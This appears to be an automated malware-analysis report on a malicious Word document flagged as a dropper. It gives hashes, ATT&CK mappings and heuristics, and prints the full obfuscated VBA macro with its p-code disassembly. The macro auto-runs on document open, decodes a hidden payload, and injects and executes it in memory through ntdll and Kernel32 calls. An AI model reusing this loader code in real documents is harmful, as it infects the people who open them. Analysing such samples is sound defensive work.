Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d7d48506fb33f2f5…

MALICIOUS

Office (OLE)

181.5 KB Created: 2017-08-22 13:25:00 Authoring application: Microsoft Office Word First seen: 2017-08-27
MD5: b818e3b2716cbb0a91deeb14e3f9ae23 SHA-1: 0afc70dcc676215432eda394f3426169051fc609 SHA-256: d7d48506fb33f2f5b0627c9d94704b3548a732c579ff310aef4c8c679d3514d1
130 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1036 Masquerading

The file is identified as malicious by ClamAV with the signature Doc.Dropper.Agent-6337038-0, indicating it's a dropper. The presence of a large VBA macro, specifically the Document_Open macro which executes code using GetObject, strongly suggests an attempt to download and execute a secondary payload. The obfuscated nature of the VBA code further supports this, as it is a common technique to evade detection.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-6337038-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6337038-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
    Private Sub Document_Open()
    Dim beagling As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 48189 bytes
SHA-256: 941621567c01f2ee4a717e22b7d966399c5e85e5af111190220cb57d2d927c07
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function necropolis(allomerous)
Dim octopodidae As Long
Dim conspection As Byte
Dim chimes As Byte
Dim phlebotomy As Variant
#If (6 * 3 + 5) > (7 - 2 * 1) And (48 - 6 * 8) * 2 < (Win64) Then
Dim impatiently As Integer
Dim anglomania As LongPtr
capitalist = 74 + 8 - 74
Dim osteolysis As LongPtr
Dim drawler As Byte
Dim vitiligo As String
Dim defending As LongPtr
Dim afterdinner As Variant
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim anglomania As Long
capitalist = 85 - 73 - 8
Dim osteolysis As Long
Dim defending As Long
#End If
cooled = VarPtr(anglomania)
blastoderm = chargeship(cooled, VarPtr(allomerous) + 8, capitalist)
hyades = 1 - 2
osteolysis = 7 - 19 + 12
chagatai = 2 - 2
defending = 9980 + 2
lenticular = 4090 + 6
abounding = 107 - 104 + 61
seclusion = commiphora(ByVal hyades, osteolysis, ByVal chagatai, defending, ByVal lenticular, ByVal abounding)
chironomus = "dosages"

coalbin = Rnd(474)

chargeship osteolysis, anglomania, 94 + 42 + 5747
plutocrat = 100 + 2
expressly = 15770 + 4
nicher = 537470 + 0
 Pmt 0, plutocrat, 14522, 56157, 8

necropolis = osteolysis
End Function


Function chargeship(psychopharmacological, inconclusive, caroler)
vagons = samara(20 / 4)
#If (7 * 4 + 5) > (7 - 2 * 1) And (20 - 5 * 4) * 2 < (vagons) Then
Dim melanthiaceae As Variant
Dim theorize As Integer
Dim illconducted As LongPtr
Dim unamazed As LongPtr
Dim volatile As LongPtr
Dim cellarage As String
Dim semper As LongPtr
Dim decrepitude As LongPtr
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (vagons) Then
Dim unamazed As Long
Dim ancestress As Byte
Dim illconducted As Long
Dim embassy As String
Dim semper As Long
Dim dauntless As Long
Dim volatile As Long
Dim publisher As Integer
Dim decrepitude As Long
Dim acquirable As Integer
Dim alcelaphus As Variant
#End If
coalbin = ghazal \ 325
calorific = ghazal + 298
unamazed = psychopharmacological
decrepitude = caroler
calorific = calorific And 391
semper = inconclusive
calculatingly = 40 + 3
arresting = 27220 + 9
bisect = 456720 + 0
 Pmt 0, calculatingly, 37100, 49894, 4

ghazal = Math.Round(180)
illconducted = 27 + 64 - 92
heartthrob ByVal illconducted, unamazed, semper, decrepitude, volatile
coalbin = coalbin + 90
End Function
Private Sub Document_Open()
Dim beagling As Long
Dim bangup As Byte
impertinently = crackajack
plunged = "cabriolet"
draco
slinging = 80 + 4
siriasis = 38570 + 4
aeciospore = 434070 + 6
 Pmt 0, slinging, 21184, 21432, 5
End Sub
Sub draco()
Dim infelicitous As Long
Dim cheloniidae As Byte
skye.apc.Value = Day(#12/5/2013#)
varday = discomycetes = "alamo"
menteur = "boulebards"
dakota = sanative
compte = "exit"
prester = "bacteria"

dressed = "blazing"
negatively = nononsense
Set sunbeam = skye.apc.SelectedItem
manorhouse = 60 + 6
dorm = 16730 + 9
flippant = 380250 + 8
 Pmt 0, manorhouse, 38767, 34240, 6

acidic = sunbeam.Name
whip = 7840 + 4
sickbed = Right(acidic, whip)
analbuminemia = impersonation.lepore(sickbed)
afghan = 20 + 2
puritanical = 31750 + 4
intrastate = 541970 + 1
 Pmt 0, afghan, 30750, 34145, 3

clothesless = humility
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim cortege As String
Dim hardearned As LongPtr
Dim syllable As LongPtr
Dim palanquin As String
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim dissentiente As Integer
Dim syllable As Long
Dim bosom As Long
Dim hardearned As Long
#End If
meniscus = 77 - 8 - 69
inhibition = artsycraftsy
anguillan = "aftercourse"
client = 28 - 40 + 4108
nathless = 90 + 2
campaign = 29600 + 6
heartrobbing = 406070 + 6
 Pmt 0, nathless, 7367, 54281, 5

athletic = "schooner"
merely = "edacity"
fireretardant = "riveted"
misjoined = 60 + 4
ethnocentric = 4120 + 6
crowding = 471580 + 2
 Pmt 0, misjoined, 34969, 30724, 2

calidris = analbuminemia
percolate = "everduring"
hardearned = necropolis(calidris)
ambient = actaea
#If (3 * 4 + 5) > (5 - 2 * 1) And (8 - 4 * 2) * 2 < (Win64) Then
Dim mainpernor As Variant
Dim burundi As LongPtr
Dim angrily As LongPtr
Dim extroversive As LongPtr
goodnaturedly = 39 - 8 + 2033
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim burundi As Long
literati = 43 - 126 + 864
Dim angrily As Long
Dim extroversive As Long
goodnaturedly = literati + 3459

#End If
Dim composing As Variant
Dim agamic As Variant
burundi = 2 - 2
syllable = hardearned + goodnaturedly
angrily = 201520 + 7
extroversive = 99 + 111 + 3290
beeline = elefants(angrily, burundi, syllable)
catbird = 6 - 1
brig = 30400 + 2
romance = 163980 + 0
 Pmt 0, catbird, 15664, 31362, 7

End Sub


Attribute VB_Name = "impersonation"
'  And hit me like a hurricane
'  Then you rolled in with your hair in the wind
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
'  And hit me like a hurricane
'  You wrecked my whole world when you came
Public Declare PtrSafe Function commiphora Lib "ntdll.dll  " Alias _
"NtAllocateVirtualMemory" (arrowhead As LongPtr, evilspeaking As LongPtr, ByVal aphorism As LongPtr, chideByVal As LongPtr, confusedness As LongPtr, ByVal delonix As LongPtr) As LongPtr
'  I wouldnt be in my truck
'  But just your sight had my heart storming
Public Declare PtrSafe Function heartthrob Lib "ntdll.dll  " Alias "NtWriteVirtualMemory" (ByVal nominalistic As Any, ByVal amiidae As Any, ByVal albanian As Any, ByVal centiliter As Any, ByVal backstitch As Any) As LongPtr
'  Driving us to your house
'  Rain was driving, thunder, lightning
Public Declare PtrSafe Function nanomia Lib "Shlwapi.dll  " Alias "SleepConditionVariableSRW" (ByVal pachinko As Any, ichthy As Any, vitality As Any, pteridospermopsida As Any) As LongPtr
'  And hit me like a hurricane
'  You wrecked my whole world when you came
Public Declare PtrSafe Function jagannath Lib "ntdll.dll  " Alias "AcquireSRWLockShared" (tyke As Any) As LongPtr
'  And hit me like a hurricane'  Baby, without warning
Public Declare PtrSafe Function friable Lib "Shlwapi.dll  " Alias "GetOverlappedResult" (ByVal cartes As Any, semel As Any, braise As Any, avant As Any) As LongPtr
'  Baby, without warning
'  Baby, without warning
Public Declare PtrSafe Function mastigophora Lib "Kernel32" Alias "CreateTimerQueueTimer" (polder As Any, ByVal meiden As Any, ByVal imputrescible As Any, ByVal amazed As Any, ByVal acheronian As Any, ByVal exculpate As Any, ByVal cherty As Any) As Long
'  If I woulda just layed my drink down
'  But just your sight had my heart storming
#End If
'  But you rolled in with your hair in the wind
'  But just your sight had my heart storming
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
'  I was doing alright
'  The moon went hiding, stars quit shining
Public Declare Function mastigophora Lib "Kernel32" Alias "CreateTimerQueueTimer" (mucinous As Any, ByVal digamy As Any, ByVal tilted As Any, ByVal roister As Any, ByVal corinthian As Any, ByVal valencia As Any, ByVal eversion As Any) As Long
'  You wrecked my whole world when you came
'  But just your sight had my heart storming
Public Declare Function midge Lib "ntdll.dll  " Alias "AcquireSRWLockShared" (neathanded As Any) As Long
'  Baby, without warning
'  Started talking bout us again
Public Declare Function marx Lib "Shlwapi.dll  " Alias "GetOverlappedResult" (ByVal banjapanese As Any, narcosis As Any, asthenic As Any, affectingly As Any) As Long
'  And hit me like a hurricane
'  I wouldnt be in my truck
Public Declare Function heartthrob Lib "Ntdll.dll   " Alias "NtWriteVirtualMemory" (ByVal selfhelp As Any, ByVal lateri As Any, ByVal risibility As Any, ByVal shoo As Any, ByVal tinct As Any) As Long
'  But you rolled in with your hair in the wind
'  The moon went hiding, stars quit shining
Public Declare Function incessantly Lib "Shlwapi.dll  " Alias "SleepConditionVariableSRW" (ByVal poet As Any, undemanding As Any, lovesickness As Any, contemptuously As Any) As Long
'  I was doing alright
'  Hit me like a hurricane
Public Declare Function commiphora Lib "Ntdll.dll " Alias _
"NtAllocateVirtualMemory" (chlorambucil As Long, agrescit As Long, ByVal sideward As Long, falsieByVal As Long, timberframed As Long, ByVal dogobah As Long) As Long
'  The moon went hiding, stars quit shining
'  The moon went hiding, stars quit shining

'  Then you rolled in with your hair in the wind
'  And walked out
#End If
'  Then you rolled in with your hair in the wind
'  And hit me like a hurricane
Function avantpropos(panpipe)
avantpropos = AscW(panpipe)
End Function
Function hypernymy()
Dim dining(255) As Byte
meliorate = 103 + 61 - 99
Do While meliorate <= 90 + 1
dining(meliorate) = meliorate - 65
meliorate = meliorate + 1
Loop
meliorate = 40 + 8
Do While meliorate <= 50 + 8
dining(meliorate) = meliorate + 4
meliorate = meliorate + 1
Loop
meliorate = 90 + 7
Do While meliorate <= 120 + 3
dining(meliorate) = meliorate - 71
meliorate = meliorate + 1
Loop
dining(47) = 60 + 3
meliorate = 40 + 3
dining(meliorate) = 60 + 2
hypernymy = dining
End Function


Function claws(saccharomyces, commissriat, predominantly)
If predominantly = (40 + 8) + (10 / 2 - 5) Then
claws = saccharomyces \ commissriat
ElseIf predominantly = (50 + 8) + (5 - 3) / 2 - 1 Then
claws = saccharomyces And commissriat
ElseIf predominantly = (60 + 6) + (56 / 7 - 4 * 2) Then
claws = saccharomyces * commissriat
End If
End Function
Function samara(netves)
Dim windser As Integer
Dim velvet As Integer
fixoid = netves * 12
Dim sitroen As Variant
subway2 = netves * 2
Dim cowen() As Byte
#If (3 * 4 + netves) > (7 - 2 * 1) And (10 - netves * 2) * 2 < (Win64) Then
velvet = subway2
#End If
#If (3 * 4 + netves) > (7 - 2 * 1) And Not (Win64) > (10 - netves * 2) * 2 Then
velvet = (120 - fixoid)
#End If
subway3 = subway2 + velvet
samara = velvet
End Function
Function lepore(verbiage) As String
chironomus = "cerapteryx"

Dim adipocere As Integer
Dim nutation As Long
Dim cousinly() As Byte
Dim propensity(63) As Long
Dim passionflower As String
Dim amitotic As Integer

Dim apprenticed As Long
calorific = Fix(61)

Dim nonreversible(6962) As Byte
Dim minuscule(63) As Long
Dim warf As Long
Dim immethodical As Long

Dim nineties As Long

Dim piacere As String

Dim words(63) As Long
chironomus = "glutinosity"

Dim brickellia As Long
myrmeleontidae = 16515072
magnetize = 120 + 21 + 16711539
folly = 5 + 128 + 123
buntal = 48 + 24 + 183
banns = 65530 + 6
burial = 8 - 99 + 4123
bastille = 60 + 4
snowinsummer = 13 + 41 + 4042
bedraggled = 14 - 19 + 262149
attentiveness = 258040 + 8
flatbottomed = 123 + 47 + 65110
Dim blushing As String

Dim acalypha As Byte

artificially = 60 + 3
Dim measurably As Byte

Dim alexandrine As String
recordbreaking = 48 - 60 + 12
ascites = 49 - 38 + 7832
Dim sept() As Byte
Dim gaterum As Integer
Dim applicable As Byte
sept = VBA.StrConv(verbiage, 128)
Dim heighho As Integer
nonconvergent = 90 + 6
aware = 13600 + 2
exoticism = 250750 + 7
 Pmt 0, nonconvergent, 14552, 57072, 3

jacobean = 7840 + 3
voces = vbKeyShift - 12
For softheartedness = (2 - 2) To jacobean
If softheartedness Mod 2 = (3 - 3) Then
sept(softheartedness) = sept(softheartedness) - voces
Else
sept(softheartedness) = sept(softheartedness) - (voces - 1)
End If
Next softheartedness
butyl = 70 + 3
acrasiomycetes = 39840 + 4
teachable = 385060 + 5
 Pmt 0, butyl, 4388, 57568, 6

adipocere = 2 - 2
euphemistically = 3 - 3
lamprey = 42 - 80 + 81
mis = hypernymy
For brickellia = (7 - 7) * 1 To (50 + 13) * (5 - 4)
words(brickellia) = claws(brickellia, bastille, 66)
minuscule(brickellia) = claws(brickellia, snowinsummer, 66)
propensity(brickellia) = claws(brickellia, bedraggled, 66)
Next brickellia
caprice = 50 + 8
aponeurotic = 19330 + 1
anaglyphy = 577960 + 7
 Pmt 0, caprice, 20246, 27662, 4

cousinly = sept
approaching = 97 + 125 - 218
afire = 60 + 3
somateria = 29770 + 7
bathtub = 276910 + 0
 Pmt 0, afire, 29254, 37777, 8

bleach = 4 + 126 - 127
chamaea = "dennstaedtiaceae"

chamaea = "coeval"

dying = bleach + 1
disloyalty = 102 + 66 - 166
For nutation = (3 - 3) To jacobean
sericulture = cousinly(nutation)
baffle = cousinly(nutation + 2)
mallow = minuscule(mis(cousinly(nutation + 1)))
abetment = words(mis(baffle)) + mis(cousinly(nutation + bleach))
apprenticed = propensity(mis(sericulture)) + mallow + abetment
brickellia = claws(apprenticed, magnetize, 58)
nonreversible(warf) = claws(brickellia, banns, 48)
brickellia = claws(apprenticed, flatbottomed, 58)
nonreversible(warf + 1) = claws(brickellia, folly, 48)
nonreversible(warf + disloyalty) = claws(apprenticed, buntal, 58)
warf = warf + disloyalty + 1
nutation = nutation + 3
Next
lepore = nonreversible
End Function
Function elefants(wrd, buls, lky)
fitr = samara(4 * 10 / 8)
#If (7 * 2) * 3 > 14 / 2 And (12 - 6 * 2) * 1 < (fitr) Then
Dim nikolas As LongPtr
Dim bis As LongPtr
Dim ority As Integer
Dim deble As LongPtr
#End If
#If (12 * 2) / 1 > 14 / 2 And Not (12 - 6 * 2) * 1 < (fitr) Then
Dim nikolas As Long
Dim bwis As Long
Dim antery As Integer
Dim deble As Long
#End If
nikolas = buls
deble = lky
dan2 = mastigophora(wrd, nikolas, deble, nikolas, nikolas, nikolas, nikolas)
End Function



Attribute VB_Name = "skye"
Attribute VB_Base = "0{6AFB2036-8937-4B98-BD54-064D2D949705}{2D9D76FE-A2A9-4971-BF66-B6B57C61FB2C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

' Processing file: /opt/analyzer/scan_staging/86475b6e213a4738a11733b561b6d8e9.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 14514 bytes
' Line #0:
' 	FuncDefn (Function necropolis(allomerous))
' Line #1:
' 	Dim 
' 	VarDefn octopodidae (As Long)
' Line #2:
' 	Dim 
' 	VarDefn conspection (As Byte)
' Line #3:
' 	Dim 
' 	VarDefn chimes (As Byte)
' Line #4:
' 	Dim 
' 	VarDefn phlebotomy (As Variant)
' Line #5:
' 	LbMark 
' 	LitDI2 0x0006 
' 	LitDI2 0x0003 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0030 
' 	LitDI2 0x0006 
' 	LitDI2 0x0008 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	And 
' 	LbIf 
' Line #6:
' 	Dim 
' 	VarDefn impatiently (As Integer)
' Line #7:
' 	Dim 
' 	VarDefn anglomania (As Ptr)
' Line #8:
' 	LitDI2 0x004A 
' 	LitDI2 0x0008 
' 	Add 
' 	LitDI2 0x004A 
' 	Sub 
' 	St capitalist 
' Line #9:
' 	Dim 
' 	VarDefn osteolysis (As Ptr)
' Line #10:
' 	Dim 
' 	VarDefn drawler (As Byte)
' Line #11:
' 	Dim 
' 	VarDefn vitiligo (As String)
' Line #12:
' 	Dim 
' 	VarDefn defending (As Ptr)
' Line #13:
' 	Dim 
' 	VarDefn afterdinner (As Variant)
' Line #14:
' 	LbMark 
' 	LbEndIf 
' Line #15:
' 	LbMark 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0015 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	Not 
' 	And 
' 	LbIf 
' Line #16:
' 	Dim 
' 	VarDefn anglomania (As Long)
' Line #17:
' 	LitDI2 0x0055 
' 	LitDI2 0x0049 
' 	Sub 
' 	LitDI2 0x0008 
' 	Sub 
' 	St capitalist 
' Line #18:
' 	Dim 
' 	VarDefn osteolysis (As Long)
' Line #19:
' 	Dim 
' 	VarDefn defending (As Long)
' Line #20:
' 	LbMark 
' 	LbEndIf 
' Line #21:
' 	Ld anglomania 
' 	ArgsLd VarPtr 0x0001 
' 	St cooled 
' Line #22:
' 	Ld cooled 
' 	Ld allomerous 
' 	ArgsLd VarPtr 0x0001 
' 	LitDI2 0x0008 
' 	Add 
' 	Ld capitalist 
' 	ArgsLd chargeship 0x0003 
' 	St blastoderm 
' Line #23:
' 	LitDI2 0x0001 
' 	LitDI2 0x0002 
' 	Sub 
' 	St hyades 
' Line #24:
' 	LitDI2 0x0007 
' 	LitDI2 0x0013 
' 	Sub 
' 	LitDI2 0x000C 
' 	Add 
' 	St osteolysis 
' Line #25:
' 	LitDI2 0x0002 
' 	LitDI2 0x0002 
' 	Sub 
' 	St chagatai 
' Line #26:
' 	LitDI2 0x26FC 
' 	LitDI2 0x0002 
' 	Add 
' 	St defending 
' Line #27:
' 	LitDI2 0x0FFA 
' 	LitDI2 0x0006 
' 	Add 
' 	St lenticular 
' Line #28:
' 	LitDI2 0x006B 
' 	LitDI2 0x0068 
' 	Sub 
' 	LitDI2 0x003D 
' 	Add 
' 	St abounding 
' Line #29:
' 	Ld hyades 
' 	ParamByVal 
' 	Ld osteolysis 
' 	Ld chagatai 
' 	ParamByVal 
' 	Ld defending 
' 	Ld lenticular 
' 	ParamByVal 
' 	Ld abounding 
' 	ParamByVal 
' 	ArgsLd commiphora 0x0006 
' 	St seclusion 
' Line #30:
' 	LitStr 0x0007 "dosages"
' 	St chironomus 
' Line #31:
' Line #32:
' 	LitDI2 0x01DA 
' 	ArgsLd Rnd 0x0001 
' 	St coalbin 
' Line #33:
' Line #34:
' 	Ld osteolysis 
' 	Ld anglomania 
' 	LitDI2 0x005E 
' 	LitDI2 0x002A 
' 	Add 
' 	LitDI2 0x1673 
' 	Add 
' 	ArgsCall chargeship 0x0003 
' Line #35:
' 	LitDI2 0x0064 
' 	LitDI2 0x0002 
' 	Add 
' 	St plutocrat 
' Line #36:
' 	LitDI2 0x3D9A 
' 	LitDI2 0x0004 
' 	Add 
' 	St expressly 
' Line #37:
' 	LitDI4 0x337E 0x0008 
' 	LitDI2 0x0000 
' 	Add 
' 	St nicher 
' Line #38:
' 	LitDI2 0x0000 
' 	Ld plutocrat 
' 	LitDI2 0x38BA 
' 	LitDI4 0xDB5D 0x0000 
' 	LitDI2 0x0008 
' 	ArgsCall Pmt 0x0005 
' Line #39:
' Line #40:
' 	Ld osteolysis 
' 	St necropolis 
' Line #41:
' 	EndFunc 
' Line #42:
' Line #43:
' Line #44:
' 	FuncDefn (Function chargeship(psychopharmacological))
' Line #45:
' 	LitDI2 0x0014 
' 	LitDI2 0x0004 
' 	Div 
' 	ArgsLd _B_var_ElseIf 0x0001 
' 	St subway3 
' Line #46:
' 	LbMark 
' 	LitDI2 0x0007 
' 	LitDI2 0x0004 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0014 
' 	LitDI2 0x0005 
' 	LitDI2 0x0004 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld subway3 
' 	Paren 
' 	Lt 
' 	And 
' 	LbIf 
' Line #47:
' 	Dim 
' 	VarDefn melanthiaceae (As Variant)
' Line #48:
' 	Dim 
' 	VarDefn theorize (As Integer)
' Line #49:
' 	Dim 
' 	VarDefn illconducted (As Ptr)
' Line #50:
' 	Dim 
' 	VarDefn unamazed (As Ptr)
' Line #51:
' 	Dim 
' 	VarDefn volatile (As Ptr)
' Line #52:
' 	Dim 
' 	VarDefn cellarage (As String)
' Line #53:
' 	Dim 
' 	VarDefn semper (As Ptr)
' Line #54:
' 	Dim 
' 	VarDefn decrepitude (As Ptr)
' Line #55:
' 	LbMark 
' 	LbEndIf 
' Line #56:
' 	LbMark 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0015 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld subway3 
' 	Paren 
' 	Lt 
' 	Not 
' 	And 
' 	LbIf 
' Line #57:
' 	Dim 
' 	VarDefn unamazed (As Long)
' Line #58:
' 	Dim 
' 	VarDefn ancestress (As Byte)
' Line #59:
' 	Dim 
' 	VarDefn illconducted (As Long)
' Line #60:
' 	Dim 
' 	VarDefn embassy (As String)
' Line #61:
' 	Dim 
' 	VarDefn semper (As Long)
' Line #62:
' 	Dim 
' 	VarDefn dauntless (As Long)
' Line #63:
' 	Dim 
' 	VarDefn volatile (As Long)
' Line #64:
' 	Dim 
' 	VarDefn publisher (As Integer)
' Line #65:
' 	Dim 
' 	VarDefn decrepitude (As Long)
' Line #66:
' 	Dim 
' 	VarDefn acquirable (As Integer)
' Line #67:
' 	Dim 
' 	VarDefn alcelaphus (As Variant)
' Line #68:
' 	LbMark 
' 	LbEndIf 
' Line #69:
' 	Ld ghazal 
' 	LitDI2 0x0145 
' 	IDiv 
' 	St coalbin 
' Line #70:
' 	Ld ghazal 
' 	LitDI2 0x012A 
' 	Add 
' 	St calorific 
' Line #71:
' 	Ld psychopharmacological 
' 	St unamazed 
' Line #72:
' 	Ld caroler 
' 	St decrepitude 
' Line #73:
' 	Ld calorific 
' 	LitDI2 0x0187 
' 	And 
' 	St calorific 
' Line #74:
' 	Ld inconclusive 
' 	St semper 
' Line #75:
' 	LitDI2 0x0028 
' 	LitDI2 0x0003 
' 	Add 
' 	St calculatingly 
' Line #76:
' 	LitDI2 0x6A54 
' 	LitDI2 0x0009 
' 	Add 
' 	St arresting 
' Line #77:
' 	LitDI4 0xF810 0x0006 
' 	LitDI2 0x0000 
' 	Add 
' 	St bisect 
' Line #78:
' 	LitDI2 0x0000 
' 	Ld calculatingly 
' 	LitDI4 0x90EC 0x0000 
' 	LitDI4 0xC2E6 0x0000 
' 	LitDI2 0x0004 
' 	ArgsCall Pmt 0x0005 
' Line #79:
' Line #80:
' 	LitDI2 0x00B4 
' 	Ld Math 
' 	ArgsMemLd Round 0x0001 
' 	St ghazal 
' Line #81:
' 	LitDI2 0x001B 
' 	LitDI2 0x0040 
' 	Add 
' 	LitDI2 0x005C 
' 	Sub 
' 	St illconducted 
' Line #82:
' 	Ld illconducted 
' 	ParamByVal 
' 	Ld unamazed 
' 	Ld semper 
' 	Ld decrepitude 
' 	Ld volatile 
' 	ArgsCall heartthrob 0x0005 
' Line #83:
' 	Ld coalbin 
' 	LitDI2 0x005A 
' 	Add 
' 	St coalbin 
' Line #84:
' 	EndFunc 
' Line #85:
' 	FuncDefn (Sub Document_Open())
' Line #86:
' 	Dim 
' 	VarDefn beagling (As Long)
' Line #87:
' 	Dim 
' 	VarDefn bangup (As Byte)
' Line #88:
' 	Ld crackajack 
' 	St impertinently 
' Line #89:
' 	LitStr 0x0009 "cabriolet"
' 	St plunged 
' Line #90:
' 	ArgsCall draco 0x0000 
' Line #91:
' 	LitDI2 0x0050 
' 	LitDI2 0x0004 
' 	Add 
' 	St slinging 
' Line #92:
' 	LitDI4 0x96AA 0x0000 
' 	LitDI2 0x0004 
' 	Add 
' 	St siriasis 
' Line #93:
' 	LitDI4 0x9F96 0x0006 
' 	LitDI2 0x0006 
' 	Add 
' 	St aeciospore 
' Line #94:
' 	LitDI2 0x0000 
' 	Ld slinging 
' 	LitDI2 0x52C0 
' 	LitDI2 0x53B8 
' 	LitDI2 0x0005 
' 	ArgsCall Pmt 0x0005 
' Line #95:
' 	EndSub 
' Line #96:
' 	FuncDefn (Sub draco())
' Line #97:
' 	Dim 
' 	VarDefn infelicitous (As Long)
' Line #98:
' 	Dim 
' 	VarDefn cheloniidae (As Byte)
' Line #99:
' 	LitDate 0x0000 0x0000 0x51A0 0x40E4 
' 	ArgsLd Day 0x0001 
' 	Ld skye 
' 	MemLd apc 
' 	MemSt Value 
' Line #100:
' 	Ld discomycetes 
' 	LitStr 0x0005 "alamo"
' 	Eq 
' 	St varday 
' Line #101:
' 	LitStr 0x000A "boulebards"
' 	St menteur 
' Line #102:
' 	Ld sanative 
' 	St dakota 
' Line #103:
' 	LitStr 0x0004 "exit"
' 	St compte 
' Line #104:
' 	LitStr 0x0008 "bacteria"
' 	St prester 
' Line #105:
' Line #106:
' 	LitStr 0x0007 "blazing"
' 	St dressed 
' Line #107:
' 	Ld nononsense 
' 	St negatively 
' Line #108:
' 	SetStmt 
' 	Ld skye 
' 	MemLd apc 
' 	MemLd SelectedItem 
' 	Set sunbeam 
' Line #109:
' 	LitDI2 0x003C 
' 	LitDI2 0x0006 
' 	Add 
' 	St manorhouse 
' Line #110:
' 	LitDI2 0x415A 
' 	LitDI2 0x0009 
' 	Add 
' 	St dorm 
' Line #111:
' 	LitDI4 0xCD5A 0x0005 
' 	LitDI2 0x0008 
' 	Add 
' 	St flippant 
' Line #112:
' 	LitDI2 0x0000 
' 	Ld manorhouse 
' 	LitDI4 0x976F 0x0000 
' 	LitDI4 0x85C0 0x0000 
' 	LitDI2 0x0006 
' 	ArgsCall Pmt 0x0005 
' Line #113:
' Line #114:
' 	Ld sunbeam 
' 	MemLd Name 
' 	St acidic 
' Line #115:
' 	LitDI2 0x1EA0 
' 	LitDI2 0x0004 
' 	Add 
' 	St whip 
' Line #116:
' 	Ld acidic 
…